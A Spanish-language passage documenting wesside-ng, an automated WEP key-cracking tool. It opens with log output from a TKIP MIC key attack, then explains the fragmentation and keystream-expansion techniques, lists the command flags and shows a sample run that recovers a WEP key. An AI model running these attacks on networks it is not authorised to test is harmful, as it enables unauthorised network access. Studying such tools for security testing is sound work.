Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:43:31 Offset 76 (38% done) | xor = 38 | pt = 00 | 355 frames written in 291086ms
15:44:37 Offset 75 (40% done) | xor = 79 | pt = 00 | 61 frames written in 50021ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:47:05 Offset 74 (41% done) | xor = 59 | pt = 00 | 269 frames written in 220581ms
15:48:30 Offset 73 (43% done) | xor = 14 | pt = 00 | 249 frames written in 204178ms
15:49:49 Offset 72 (45% done) | xor = 9A | pt = 00 | 183 frames written in 150059ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:52:32 Offset 71 (46% done) | xor = 03 | pt = 00 | 420 frames written in 344400ms
15:53:57 Offset 70 (48% done) | xor = 0E | pt = 00 | 239 frames written in 195980ms
Sleeping for 60 seconds.36 bytes still unknown
ARP Reply
Checking 192.168.x.y
15:54:11 Reversed MIC Key (FromDS): C3:95:10:04:8F:8D:6C:66

Saving plaintext in replay_dec-0305-155411.cap
Saving keystream in replay_dec-0305-155411.xor
15:54:11
Completed in 2816s (0.02 bytes/s)

15:54:11 AP MAC: 00:40:F4:77:F0:9B IP: 192.168.21.42
15:54:11 Client MAC: 00:0F:B5:AB:CB:9D IP: 192.168.21.112
15:54:11 Sent encrypted tkip ARP request to the client.
15:54:11 Wait for the mic countermeasure timeout of 60 seconds.




Wesside-ng

Download:
FLVMP43GP


Descripción

Wesside-ng es una utilidad “auto-mágica” que incorpora todas las técnicas para obtener fácilmente una clave WEP en pocos minutos. Primero identifica una red wireless, seguidamente procede a asociarse a la misma, obtiene un PRGA (pseudo random generation algorithm) xor data, determina el rango de IPs de la red, reinyecta una respuesta ARP y finalmente determina la clave WEP. Todo esto lo hace sin ninguna intervención por tu parte.

La utilidad wesside original fue creada por Andrea Bittau y fue un programa que acompañaba a 2 artículos publicados. Estos artículos son “El ataque de Fragmentación en la práctica” por Andrea Bittau y “El último descubrimiento para enterrar las redes con clave WEP” por Andrea Bittau, Mark Handley y Josua Lockey. Mira links page para ver estos artículos y muchos otros más. Estos artículos proporcionan excelente información para comprender los métodos usados para obtener claves WEP. Los conceptos para el ataque de fragmentación incorporado en aircrack-ng se han obtenido de esos artículos.

¿Quién sabe de donde viene el nombre del programa “wesside”? Proviene de “tupac the rapper” (2Pac / Tupac Shakur).

Wesside-ng ha sido actualizado para incluir los nuevos avances para obtener claves WEP. Los pasos que lleva a cabo wesside-ng son:

1.- Va saltando de canal buscando una red wireless con clave WEP.
2.- Una vez que encuentra una red, intenta autenticarse. Si la autenticación falla, entonces el programa intenta encontrar una dirección MAC que se haya asociado con el AP para engañarlo.
3.- Una vez que el programa se ha autenticado satisfactóriamente intenta asociarse con el AP.
4.- Despues de snifar un simple paquete de datos, procede a descubrir los 128 bytes de un PRGA enviando paquetes “broadcasts” e interceptando los paquetes de respuesta. Esto es lo que se conoce como ataque de fragmentación. El PRGA se escribe en el archivo prga.log.
5.- Despues esnifa un “ARP request” y desencripta la dirección IP usando la técnica “linear keystream expansion”. Esto se usa para construir la petición ARP que se usará para la inyección.
6.- Inunda la red con peticiones ARP para esa dirección IP.
7.- Lanza el aircrack-ng PTW attack para determinar la clave WEP.


Seguramente que te estás preguntando ¿en qué consiste la técnica “linear keystream expansion”?. El fundamento de la misma es el hecho de que los paquetes como una petición ARP encriptada pueden ser fácilmente identificados, combinado con el hecho de que el inicio de estos paquetes es texto plano. Por lo tanto el programa primero obtiene el PRGA de una porción de texto plano de la petición ARP. Despues crea nuevas peticiones ARP incorrectas compuestas de dos fragmentos. El primer fragmento tiene un byte más que el PRGA conocido, por lo que el PRGA se completa con un byte extra que se intenta adivinar. Estos supuestos paquetes se envían y el programa escucha para ver cual de ellos es contestado por el AP. El paquete al que el AP contesta tiene el PRGA correcto y este valor se ha incluido en la dirección de destino “multicast”. Ahora que conocemos el PRGA correcto, un byte más puede ser desencriptado en la petición ARP original. Este proceso se repite hasta que la IP enviada en la petición ARP original es desencriptada. Esto lleva un máximo de 256 paquetes “adivinazas” para determinar el PRGA correcto para un byte concreto y de media solo 128.

Existen algunas limitaciones conocidas:

Solo soporta autenticación abierta (open authentication). No soporta autenticación con clave compartida (Shared key authentication).
Solo soporta redes tipo B y G.
La funcionalidad de falsificar la dirección MAC no funciona si en la red hay mucho tráfico.


Por favor, recuerda que este programa se encuentra en desarrollo por lo que puede tener algún bug. Además puede que encuentres opciones que no funcionen como esperabas.

Uso: wesside-ng -i

-h Muestra una lista con las opciones.
-i Nombre de la interface wireless.
-n “Net IP” como en “who has destination IP (netip) tell source IP (myip)”. (Opcional)
-m “MY IP” “who has destination IP (netip) tell source IP (myip)”. (Opcional)
-a Dirección MAC origen (Opcional)
-c No iniciar aircrack-ng. Únicamente capturar paquetes hasta que se pulse control-C para parar el programa. (Opcional)
-p Determina el mínimo número de bytes del PRGA. Por defecto 128 bytes. (Opcional)
-v Dirección MAC del punto de acceso Wireless (Opcional)
-t Para cada número de IVs especificado, reiniciar aircrack-ng PTW. (Opcional)
-f Permite definir el número de canal más alto para ser escaneado. Por defecto canal 11. (Opcional)


Cuando ejecutas wesside-ng, se crean tres archivos automáticamente en el directorio actual:

wep.cap - El archivo de paquetes capturados. Contiene los paquetes completos y no solo los IVs.
prga.log - Contiene el PRGA obtenido a través del ataque de fragmentación.
key.log - Contiene la clave WEP que se ha encontrado.


Es muy importante borrar estos archivos antes de iniciar el programa cuando se cambie el punto de acceso del que queremos obtener la clave.
Escenarios
Ejemplo de uso estandard

Asegurate de usar airmon-ng para poner la tarjeta en modo monitor.

Despues escribe:

wesside-ng -i wlan0

Donde:

-i wlan0 es la interface wireless.


El programa responderá:

[13:51:32] Using mac 00:C0:CA:17:DB:6A
[13:51:32] Looking for a victim...
[13:51:32] Found SSID(teddy) BSS=(00:14:6C:7E:40:80) chan=9
[13:51:32] Authenticated
[13:51:32] Associated (ID=5)
[13:51:37] Got ARP request from (00:D0:CF:03:34:8C)
[13:51:37] Datalen 54 Known clear 22
[13:51:37] Got 22 bytes of prga IV=(0e:4e:02) PRGA=A5 DC C3 AF 43 34 17 0D 0D 7E 2A C1 44 8A DA 51 A4 DF BB C6 4F 3C
[13:51:37] Got 102 bytes of prga IV=(0f:4e:02) PRGA=17 03 74 98 9F CC FB AA A1 B3 5B 00 53 EC 8F C3 BB F7 56 21 09 95 12 70 24 8C C0 16 40 9F A8 BD BA C4 CC 18 04 A1 41 47 B3 22 8B D2 42 DC 71 54 CE AD FE D0 C3 15 7E EB D1 E2 BB 69 7F 11 8A 99 40 FC 75 EC 12 BF 3B C8 2A 32 88 8A DC E8 35 7C EE DA A3 E3 6B 0C 45 21 DC BD 23 59 28 85 24 49 18 49 1C 24 6D E2
[13:51:37] Got 342 bytes of prga IV=(10:4e:02) PRGA=5C EC 18 24 F3 21 B2 74 2A 86 97 C7 4C 22 EC 42 00 3A C6 07 0C 02 AA D6 B6 D8 FF B1 16 F8 40 31 B7 95 3B F8 1B BD 94 8B 3B 7A 98 DE C6 72 FD F8 A5 FC E7 81 A0 9E 01 76 44 57 C4 EB AE D7 AB EB 2F 40 C8 E5 5F EF 13 DB F4 F7 F2 91 D9 36 77 C1 F0 9C E4 8C BA F9 50 C0 B0 E7 23 75 85 41 82 54 F5 22 3C A9 45 0C 1F AE DA 3B F7 AA 41 30 23 63 97 B1 42 4C A8 0E C0 5A 7E A2 58 C2 02 B8 7F DB C7 CC 66 4D 86 53 30 E0 A0 81 52 13 14 08 5F 45 C5 AC 21 C3 90 86 A1 8D 45 CC 7C A2 F2 95 34 EF 38 59 FA 21 0F CC 63 81 05 26 8D B8 84 A1 D3 DF 5D E0 CA 23 52 85 4F 61 5B E3 83 4B 2A 10 0A 14 94 FA 90 D4 FC 3F 7B CD A9 C3 E3 4D B7 99 BD 21 D4 FC DB 60 0C 92 8D 76 87 EF F7 45 C6 D7 0B 96 A4 18 41 63 48 79 E0 4E 3A 9F 1B 8D 17 F5 B0 FE 30 F3 27 55 E1 EA 8A 60 FA 9E CB CE D9 1D EE 94 20 20 EB 58 F8 55 38 4F C9 E7 53 55 94 6C 6A 6D F0 D5 4E DB 78 D6 52 A3 34 68 2C 8B 7A EA C8 DA 3B D9 CB 4C 65 E6 CE B8 EE CD 58 DD C1 C8 F8 08 1B 27 EC 74 7E AD A0 0E 1E 85 79 F4 C0 54 D9 99 51 CA 96 02 73 93 33 6F E6 D5 F1 55 81 2B AA C4 3A B2 0A C6 04 FE
[13:51:39] Guessing PRGA 8e (IP byte=230)
[13:51:39] Got clear-text byte: 192
[13:51:40] Guessing PRGA be (IP byte=198)
[13:51:40] Got clear-text byte: 168
[13:51:40] Guessing PRGA 8d (IP byte=47)
[13:51:40] Got clear-text byte: 1
[13:51:40] Guessing PRGA 12 (IP byte=240)
[13:51:40] Got clear-text byte: 200
[13:51:40] Got IP=(192.168.1.200)
[13:51:40] My IP=(192.168.1.123)
[13:51:40] Sending arp request for: 192.168.1.200
[13:51:40] Got arp reply from (00:D0:CF:03:34:8C)
[13:52:25] WEP=000009991 (next crack at 10000) IV=60:62:02 (rate=115)
[13:52:36] WEP=000012839 (next crack at 20000) IV=21:68:02 (rate=204)
[13:52:25] Starting crack PID=2413
[13:52:27] WEP=000010324 (next crack at 20000) IV=0d:63:02 (rate=183)
[13:54:03] Starting crack PID=2415
[13:53:28] WEP=000023769 (next crack at 30000) IV=79:32:00 (rate=252)
[13:53:11] Starting crack PID=2414
[13:53:13] WEP=000020320 (next crack at 30000) IV=7d:2b:00 (rate=158)
[13:54:21] WEP=000034005 (next crack at 40000) IV=53:47:00 (rate=244)


[328385:55:08] Tested 5/70000 keys

KB depth byte(vote)
0 0/ 1 01( 206) 3B( 198) 5F( 190) 77( 188) 3D( 187) D2( 187) 60( 186) 6F( 186) A1( 185) 48( 184)
1 0/ 1 23( 232) 82( 190) BF( 187) 4E( 184) 0D( 183) 90( 181) B9( 181) 08( 180) 1A( 180) 8A( 180)
2 0/ 1 45( 200) F0( 186) 52( 184) AE( 184) 75( 183) 48( 181) A1( 180) 71( 179) DE( 179) 21( 178)
3 0/ 1 67( 221) AE( 202) B2( 193) 14( 191) 51( 184) 6D( 184) 64( 183) 65( 183) 5B( 182) 17( 181)
4 0/ 5 89( 182) DB( 182) 74( 181) C2( 181) CC( 181) 64( 180) CD( 180) 5F( 179) A6( 179) 1A( 178)

Key: 01:23:45:67:89



[13:54:51] WEP=000040387 (next crack at 50000) IV=0d:a0:02 (rate=180)
[13:55:08] WEP=000043621 (next crack at 50000) IV=da:5a:00 (rate=136)
[13:55:08] Stopping crack PID=2416
[13:55:08] KEY=(01:23:45:67:89)

Owned in 3.60 minutes

[13:55:08] Dying...


Problemas de uso

Cerciórate de que tu tarjeta está en modo monitor.

Asegúrate de que tu tarjeta puede inyectar probándola con el aireplay-ng injection test. También comprueba que puedes comunicarte con el AP en cuestión.

Cerciorate de que tu tarjeta soporta el ataque de fragmentación. Esto lo puedes comprobar tambien con el “aireplay-ng injection test”.

Asegúrate de borrar los archivos wep.cap, prga.log y key.log, si has cambiado de punto de acceso o si quieres empezar de nuevo. Como norma general, si tienes problemas es una buena idea borrar estos archivos.

Existen algunas limitaciones conocidas:

Solo soporta autenticación abierta (open authentication). No soporta autenticación con clave compartida (Shared key authentication).
Solo soporta redes tipo B y G.
La funcionalidad de falsificar la dirección MAC no funciona si en la red hay mucho tráfico.

Mensaje "ERROR Max retransmists"

Puede que obtengas un error similar al siguiente mientras ejecutas el programa:

[18:23:49] ERROR Max retransmists for (30 bytes): B0 00 FF 7F 00 1A 70 51 B0 70 00 0E 2E C5 81 D3 00 1A 70 51 B0 70 00 00 00 00 01 00 00 00

Esto puede estar causado porque el AP no recibe los paquetes que le estás enviando. Prueba a acercarte más al AP.

Otra razón es que este programa se encuenta en fase de pruebas y no es completamente estable. Prueba a reiniciar wesside-ng.